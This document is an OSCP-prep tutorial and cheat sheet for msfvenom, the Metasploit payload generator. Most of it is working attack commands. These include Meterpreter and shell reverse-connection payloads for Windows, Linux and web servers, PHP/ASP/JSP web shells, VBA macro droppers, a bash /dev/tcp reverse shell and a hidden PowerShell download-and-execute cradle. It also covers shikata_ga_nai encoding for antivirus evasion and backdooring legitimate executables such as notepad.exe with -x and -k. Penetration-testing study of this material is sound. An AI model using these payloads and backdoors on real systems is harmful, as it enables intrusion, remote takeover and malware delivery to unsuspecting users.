msfvenom Mastery
1. What is msfvenom?
msfvenom is the unified payload generation and encoding utility shipped with the Metasploit Framework. It was created in 2015 by merging two separate tools:
msfpayload— responsible for generating raw shellcode and payloads.msfencode— responsible for encoding payloads to evade signature-based detection.
Before the merge, users had to pipe output between the two tools:
# Old workflow (deprecated)
./msfpayload windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 R | \
./msfencode -e x86/shikata_ga_nai -b '\x00\xff' -t raw -c 3 > encoded.bin
Now everything is done in a single command:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-e x86/shikata_ga_nai -b '\x00\xff' -f exe -o payload.exe
Why is msfvenom critical for OSCP?
- Exploitation chain — Many exploits require you to supply your own shellcode or binary payload. msfvenom is the standard tool for this.
- Post-exploitation — You may need to generate secondary payloads for lateral movement, privilege escalation, or persistence.
- Format flexibility — OSCP targets span Windows, Linux, web servers (PHP, ASP, JSP), and macro-enabled documents. msfvenom covers all of these.
- AV evasion basics — While OSCP targets are typically unpatched and lack modern EDR, understanding encoding and bad character handling is still tested.
2. Command Syntax Reference
The full msfvenom syntax:
msfvenom [options]
Core Options
| Option | Short | Description | Example |
|---|---|---|---|
--payload |
-p |
The payload to use. Browse with msfvenom --list payloads |
-p windows/x64/meterpreter/reverse_tcp |
--format |
-f |
Output format. Browse with msfvenom --list formats |
-f exe, -f raw, -f powershell |
--encoder |
-e |
The encoder to use. Browse with msfvenom --list encoders |
-e x86/shikata_ga_nai |
--iterations |
-i |
Number of encoding passes | -i 3 |
--badchars |
-b |
Characters to avoid in the payload | -b '\x00\x0a\x0d\x20' |
--arch |
-a |
Target architecture | -a x86, -a x64 |
--platform |
--platform |
Target OS platform | --platform Windows, --platform Linux |
--out |
-o |
Output file path | -o /tmp/payload.exe |
--space |
-s |
Maximum size of the payload (in bytes) | -s 500 |
--nopsled |
-n |
Size of the NOP sled to prepend | -n 50 |
--keep |
-k |
Keep the original functionality of a template executable | -k |
--add-code |
-c |
Path to an additional win32 shellcode file to include | -c addcode.bin |
--template |
-x |
Path to an executable to use as a template | -x C:\Windows\notepad.exe |
--help |
-h |
Show help | -h |
Payload Options (Stager/Stage Parameters)
These are appended after the payload specification and vary by payload type:
# Common options for reverse TCP payloads
LHOST=<attacker IP> # Your listener IP address
LPORT=<port> # Your listener port (default 4444)
RHOST=<target IP> # Target IP (for bind payloads)
RPORT=<port> # Target port (for bind payloads)
# Meterpreter-specific options
EXITFUNC=thread # Exit method: thread (default) or process
PREPENDMETERPRETERSTAGE=true # Prepend meterpreter stage
INITIAL_AUTORUNSCRIPT=... # Auto-run a post module on session open
Listing Available Resources
# List all payloads
msfvenom --list payloads
# List all formats
msfvenom --list formats
# List all encoders
msfvenom --list encoders
# List all nops
msfvenom --list nops
# Filter payloads by platform
msfvenom --list payloads | grep -i windows
msfvenom --list payloads | grep -i linux
msfvenom --list payloads | grep -i php
3. Payload Generation Examples
3.1 Windows x86 Reverse TCP (EXE)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f exe -o win32_rev.exe
Handler:
msfconsole -x "use exploit/multi/handler; set LHOST 10.10.14.3; set LPORT 4443;
set PAYLOAD windows/meterpreter/reverse_tcp; run"
3.2 Windows x64 Reverse TCP (EXE)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f exe -o win64_rev.exe
3.3 Linux x86 Reverse TCP (ELF)
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f elf -o lin32_rev.elf
3.4 Linux x64 Reverse TCP (ELF)
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f elf -o lin64_rev.elf
3.5 PowerShell One-Liner
Generates a base64-encoded PowerShell command that downloads and executes a meterpreter stager:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f psh-cmd -o psh_output.txt
Output looks like:
rundll32.exe javascript:"\..\mshtml,RunHTMLApplication ";document.write();
h=new%20ActiveXObject("WScript.Shell").Run("powershell -nop -exec bypass -w hidden -enc <base64>");
Alternative — raw base64 only:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f psh-base64 -o b64_output.txt
Then manually wrap:
powershell -nop -exec bypass -w hidden -enc <content_of_b64_output.txt>
3.6 Python Reverse Shell
msfvenom -p python/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f raw -o py_rev.py
The output is a Python script. On the target, run:
python py_rev.py
3.7 PHP Web Shell
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f raw -o shell.php
Upload to a web-accessible directory and trigger via browser or curl:
curl http://10.10.10.x/shell.php
3.8 ASP Web Shell
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f asp -o shell.asp
Upload to an IIS web root and access via browser.
3.9 JSP Web Shell
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f raw -o shell.jsp
Upload to a Tomcat/webapp directory and access via browser.
3.10 WAR File
A WAR file is a deployable archive for Java web applications:
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f war -o malicious.war
Deploy to Tomcat and access the generated JSP inside.
3.11 VBA Macro (for Office Documents)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f vba -o macro_vba.txt
Output is VBA code you embed in a .docm or .xlsm file’s macro module. The output uses hex strings that get decoded and executed at runtime.
For x64 targets:
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f vba-exe -o macro_vba_exe.txt
3.12 Bash Reverse Shell (Linux Command-Line)
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.14.3 LPORT=4443 \
-f raw -o bash_rev.sh
Or generate a one-liner:
msfvenom -p cmd/unix/reverse_bash LHOST=10.10.14.3 LPORT=4443 -f raw
Output:
bash -i >& /dev/tcp/10.10.14.3/4443 0>&1
4. Encoding Payloads
Encoding transforms raw shellcode to avoid static signature detection. msfvenom applies encoding inline during generation.
4.1 The shikata_ga_nai Encoder
The most famous and widely-used encoder. It uses a polymorphic XOR substitution cipher:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-e x86/shikata_ga_nai -i 3 -b '\x00' -f exe -o encoded.exe
-e x86/shikata_ga_nai— Select the encoder.-i 3— Apply encoding 3 times (more iterations = more polymorphism but larger size).-b '\x00'— Avoid null bytes (critical for buffer overflow exploits).
Warning: Each iteration increases payload size. If the payload exceeds the buffer, the exploit will crash. Always test with -s <max_size> to constrain:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-e x86/shikata_ga_nai -i 5 -b '\x00' -s 400 -f raw
If encoding fails (payload too large), reduce iterations or switch to a smaller payload like windows/meterpreter/reverse_tcp → windows/shell_reverse_tcp.
4.2 Other Common Encoders
# XOR dynamic encoder (good for avoiding specific byte patterns)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-e x86/xor_dynamic -i 3 -b '\x00\x0a\x0d' -f raw
# Unicode mixed encoder (for wide-char / Unicode buffers)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-e x86/unicode_mixed -i 1 -f c
4.3 Bad Character Handling
Bad characters are bytes that cannot appear in your shellcode because they will corrupt the exploit (e.g., truncate a string, crash a parser, or be filtered).
Common bad characters:
| Bad Char | Reason |
|---|---|
\x00 |
Null terminator — truncates strings in C-based exploits |
\x0a |
Line feed — breaks line-based protocols |
\x0d |
Carriage return — breaks line-based protocols |
\x20 |
Space — may be stripped by web servers/proxies |
\x09 |
Tab — may be normalized or stripped |
Specify bad chars in msfvenom:
# Single bad char
-b '\x00'
# Multiple bad chars
-b '\x00\x0a\x0d\x20'
# Full range example
-b '\x00\x01\x02\x03\x0a\x0d\x20\x26'
When msfvenom cannot encode successfully:
[-] x86/shikata_ga_nai: The output is too large for the selected encoder.
[-] Something went wrong, see the log for more details.
Solutions:
- Reduce
-iiterations. - Use a smaller payload (
shell_reverse_tcpinstead ofmeterpreter). - Remove some bad characters if the exploit allows.
- Use
-sto set a hard size limit and let msfvenom fail fast.
5. Format Options Complete Reference
| Format | Flag | Extension | Description | Use Case |
|---|---|---|---|---|
exe |
-f exe |
.exe |
Windows executable | Direct execution on Windows targets |
exe-service |
-f exe-service |
.exe |
Windows service executable | Persistence via Windows service |
exe-small |
-f exe-small |
.exe |
Minimal Windows executable | Size-constrained scenarios |
dll |
-f dll |
.dll |
Windows DLL | DLL hijacking attacks |
elf |
-f elf |
.elf |
Linux ELF binary | Linux targets |
elf-so |
-f elf-so |
.so |
Linux shared object | Library injection on Linux |
raw |
-f raw |
— | Raw binary shellcode | Buffer overflows, custom exploits |
c |
-f c |
.c |
C source array | Embedding in C exploits |
cpp |
-f cpp |
.cpp |
C++ source array | C++ exploit development |
java |
-f java |
.java |
Java byte array | Java exploit chains |
js_le |
-f js_le |
.js |
JavaScript (little-endian) | Node.js / browser exploits |
psh-cmd |
-f psh-cmd |
— | PowerShell command (full) | PowerShell-based attacks |
psh-base64 |
-f psh-base64 |
— | Base64-encoded PowerShell | Encoded command execution |
python |
-f python |
.py |
Python byte array | Python-based exploits |
ruby |
-f ruby |
.rb |
Ruby byte array | Ruby exploit development |
sh |
-f sh |
.sh |
Shell script with base64 decode | Linux command-line deployment |
vba |
-f vba |
— | VBA macro code (hex) | Office document macros |
vba-exe |
-f vba-exe |
— | VBA macro code (embedded EXE) | Office macros with embedded binary |
vba-dll |
-f vba-dll |
— | VBA macro (DLL callback) | Office macros using DLL side-loading |
asp |
-f asp |
.asp |
ASP web shell | IIS web shells |
aspx |
-f aspx |
.aspx |
ASP.NET web shell | IIS .NET web shells |
jsp |
-f jsp |
.jsp |
JSP web shell | Tomcat/JBoss web shells |
war |
-f war |
.war |
WAR archive | Java web app deployment |
php |
-f php |
.php |
PHP web shell | Apache/Nginx PHP shells |
php-met |
-f php-met |
.php |
PHP meterpreter shell | PHP meterpreter sessions |
bash |
-f bash |
— | Bash array format | Linux shellcode injection |
perl |
-f perl |
— | Perl array format | Perl exploit development |
xml |
-f xml |
— | XML entity format | XXE exploitation |
index_nix |
-f index_nix |
— | Unix index.html | Web server takeover |
index_win |
-f index_win |
— | Windows index.html | Web server takeover (Windows) |
6. Custom Payloads with Template
6.1 The -x (Template) Flag
The -x flag lets you inject your payload into an existing legitimate executable. This replaces the original executable’s code section with your shellcode:
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-x C:\Windows\System32\notepad.exe -k -f exe -o notepad_backdoor.exe
6.2 The -k (Keep) Flag
The -k flag preserves the original executable’s functionality. When run, it spawns a new thread for your payload while the original program continues normally:
# Without -k: notepad.exe is replaced entirely (opens shell instead of notepad)
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-x notepad.exe -f exe -o suspicious.exe
# With -k: notepad.exe still opens normally AND spawns a reverse shell in background
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-x notepad.exe -k -f exe -o notepad_backdoor.exe
6.3 Practical Template Scenarios
# Use a legitimate Windows binary as template
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-x /usr/share/windows-binaries/calc.exe -k -f exe -o calc_backdoor.exe
# Use a custom binary you captured from the target
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-x /evidence/legit_app.exe -k -f exe -o backdoor.exe
Note: The template file must match the architecture of your payload. You cannot inject x64 shellcode into an x86 PE and vice versa.
7. Available Encoders Reference
7.1 x86 Encoders
| Encoder | Description | Reliability | Notes |
|---|---|---|---|
x86/shikata_ga_nai |
Polymorphic XOR substitution cipher | High | Most popular; adds ~30 bytes/iteration |
x86/jmp_call_additive |
JMP/CALL additive encoder | Medium | Smaller overhead than sgn |
x86/fnstenv_mov |
Static mov encoder | Low | Very small but easily detected |
x86/call4_dword_xor |
CALL-based XOR encoder | Medium | Good alternative to sgn |
x86/xor_dynamic |
Dynamic key XOR | High | Good for specific bad char sets |
x86/unicode_mixed |
Unicode-aware mixed encoder | Medium | For wide-character buffers |
x86/countdown |
Countdown loop encoder | Low | Legacy, rarely useful |
x86/blockaded |
Block-based encoder | Low | Legacy |
x86/camellia |
Camellia cipher encoder | Medium | Larger output |
7.2 x64 Encoders
| Encoder | Description | Reliability | Notes |
|---|---|---|---|
x86/xor_dynamic |
Dynamic key XOR (works on x64) | High | Best x64 option available |
x64/xor |
Simple XOR encoder | Medium | Basic but effective |
7.3 Other Architecture Encoders
| Encoder | Architecture | Notes |
|---|---|---|
armle/shikata_ga_nai |
ARM LE | For ARM targets |
ppc/mxor |
PowerPC | For macOS/PowerPC |
alpha/mixedappend |
Alpha | Legacy |
Encoder selection strategy for OSCP:
- Start with
x86/shikata_ga_nai— it works in most scenarios. - If size is an issue, try
x86/jmp_call_additiveor reduce iterations. - For x64 payloads,
x86/xor_dynamicis your best bet. - If encoding fails entirely, drop encoding and use a raw payload — OSCP targets rarely have AV.
8. OSCP msfvenom Tips
8.1 LHOST Verification (Most Common Mistake)
The #1 reason msfvenom payloads fail on the OSCP exam: wrong LHOST.
# WRONG — using Kali's NAT/interface IP that the target cannot reach
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.0.2.15 LPORT=4443 -f exe -o bad.exe
# RIGHT — using the IP address on the same subnet as the target
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 -f exe -o good.exe
Always verify with:
# Check your interface IPs
ip a
# Verify connectivity to target
ping 10.10.10.x
# If using tun0 interface (default Kali), use that IP
# tun0 typically = 10.10.14.x
8.2 Testing Payloads Before Deployment
# Generate and immediately test on localhost
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=127.0.0.1 LPORT=4443 \
-f elf -o test.elf
# Start handler
msfconsole -x "use exploit/multi/handler; set LHOST 127.0.0.1; set LPORT 4443;
set PAYLOAD linux/x64/meterpreter/reverse_tcp; run"
# Execute payload
./test.elf
8.3 Pre-Generated Payload Library
Before the exam, pre-generate a library of common payloads. This saves time during the exam:
# Create organized directory structure
mkdir -p ~/oscp-payloads/{windows/linux/web/macros/raw}
# Windows payloads
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f exe -o ~/oscp-payloads/windows/win32_meter.exe
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f exe -o ~/oscp-payloads/windows/win64_meter.exe
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f exe -o ~/oscp-payloads/windows/win32_shell.exe
# Linux payloads
msfvenom -p linux/x86/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f elf -o ~/oscp-payloads/linux/lin32_meter.elf
msfvenom -p linux/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f elf -o ~/oscp-payloads/linux/lin64_meter.elf
# Web shells
msfvenom -p php/meterpreter_reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f raw -o ~/oscp-payloads/web/shell.php
msfvenom -p java/jsp_shell_reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f raw -o ~/oscp-payloads/web/shell.jsp
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f asp -o ~/oscp-payloads/web/shell.asp
# Raw shellcode for buffer overflows
msfvenom -p windows/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-b '\x00' -f c -o ~/oscp-payloads/raw/win32_raw.c
8.4 Quick Handler Setup
Always keep your handler ready. Use this one-liner:
# Windows meterpreter handler
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD windows/meterpreter/reverse_tcp;
set LHOST 10.10.14.3; set LPORT 4443; set ExitOnSession false; run -j"
# Linux meterpreter handler
msfconsole -q -x "use exploit/multi/handler; set PAYLOAD linux/x64/meterpreter/reverse_tcp;
set LHOST 10.10.14.3; set LPORT 4443; set ExitOnSession false; run -j"
Key flags:
-q— Quiet mode (no banner).-x— Execute commands on startup.ExitOnSession false— Handler stays alive after session closes (critical for stability).run -j— Run as a job (backgrounded, allows multiple handlers).
8.5 AV Evasion Reality Check
On the OSCP exam:
- Most targets do NOT have AV enabled. Raw, unencoded payloads usually work fine.
- If a target has basic AV, encoding with
shikata_ga_nai(2-3 iterations) is usually sufficient. - Do NOT waste time on advanced AV evasion. Focus on getting a working shell.
- If meterpreter is blocked, fall back to
shell_reverse_tcp— it’s simpler and less likely to be flagged.
8.6 Common Payload Fallback Chain
When your preferred payload doesn’t work, follow this chain:
1. windows/meterpreter/reverse_tcp (best functionality)
2. windows/shell_reverse_tcp (simple, reliable)
3. windows/x64/meterpreter/reverse_tcp (if x64 only)
4. windows/meterpreter/reverse_tcp (encoded) (if basic filtering)
5. Manual reverse shell (netcat, PowerShell, Python) (last resort)
8.7 Useful One-Liners for the Exam
# Quick Windows reverse shell (no msfconsole needed on target side)
msfvenom -p windows/shell_reverse_tcp LHOST=10.10.14.3 LPORT=4443 -f exe -o shell.exe
# Quick Linux reverse shell
msfvenom -p linux/x64/shell_reverse_tcp LHOST=10.10.14.3 LPORT=4443 -f elf -o shell.elf
# PowerShell download cradle (for when you host the payload on your web server)
msfvenom -p windows/x64/meterpreter/reverse_tcp LHOST=10.10.14.3 LPORT=4443 \
-f exe -o payload.exe
# Then serve it:
python3 -m http.server 80
# Target runs:
# powershell -nop -exec bypass -c "(new-object net.webclient).downloadfile('http://10.10.14.3/payload.exe','\$env:temp\p.exe'); start-process '$env:temp\p.exe'"
# Bind shell (when you can't get outbound connections)
msfvenom -p windows/meterpreter/bind_tcp RHOST=10.10.10.x RPORT=4443 -f exe -o bind.exe
9. Troubleshooting Checklist
| Problem | Solution |
|---|---|
| Payload generates but no connection received | Verify LHOST is correct; check firewall; verify handler is running |
Failed to generate valid code |
Reduce iterations; remove bad chars; try different encoder |
Output too large for encoder |
Use smaller payload; reduce -i; increase -s or remove it |
| EXE runs but crashes immediately | Architecture mismatch (x86 vs x64); try matching arch |
| Web shell returns 500 error | Check PHP/ASP/JSP is enabled; verify file permissions |
| Macro doesn’t execute | Macros disabled in Office; need social engineering or group policy exploit |
| Handler shows connection but session dies | Use ExitOnSession false; try shell_reverse_tcp instead of meterpreter |
| Bad chars still present in output | Encoder doesn’t support that char set; try different encoder |
10. Quick Reference Card
┌─────────────────────────────────────────────────────────────────┐
│ msfvenom Quick Reference │
├─────────────────────────────────────────────────────────────────┤
│ │
│ WINDOWS EXE: │
│ msfvenom -p windows/meterpreter/reverse_tcp │
│ LHOST=<IP> LPORT=<PORT> -f exe -o payload.exe │
│ │
│ LINUX ELF: │
│ msfvenom -p linux/x64/meterpreter/reverse_tcp │
│ LHOST=<IP> LPORT=<PORT> -f elf -o payload.elf │
│ │
│ POWERSHELL: │
│ msfvenom -p windows/x64/meterpreter/reverse_tcp │
│ LHOST=<IP> LPORT=<PORT> -f psh-cmd │
│ │
│ PHP WEB SHELL: │
│ msfvenom -p php/meterpreter_reverse_tcp │
│ LHOST=<IP> LPORT=<PORT> -f raw -o shell.php │
│ │
│ ENCODED (AV evasion): │
│ msfvenom -p windows/meterpreter/reverse_tcp │
│ LHOST=<IP> LPORT=<PORT> -e x86/shikata_ga_nai │
│ -i 3 -b '\x00' -f exe -o encoded.exe │
│ │
│ TEMPLATE INJECTION: │
│ msfvenom -p windows/meterpreter/reverse_tcp │
│ LHOST=<IP> LPORT=<PORT> -x notepad.exe -k │
│ -f exe -o backdoor.exe │
│ │
│ HANDLER: │
│ msfconsole -q -x "use exploit/multi/handler; │
│ set PAYLOAD windows/meterpreter/reverse_tcp; │
│ set LHOST <IP>; set LPORT <PORT>; │
│ set ExitOnSession false; run -j" │
│ │
└─────────────────────────────────────────────────────────────────┘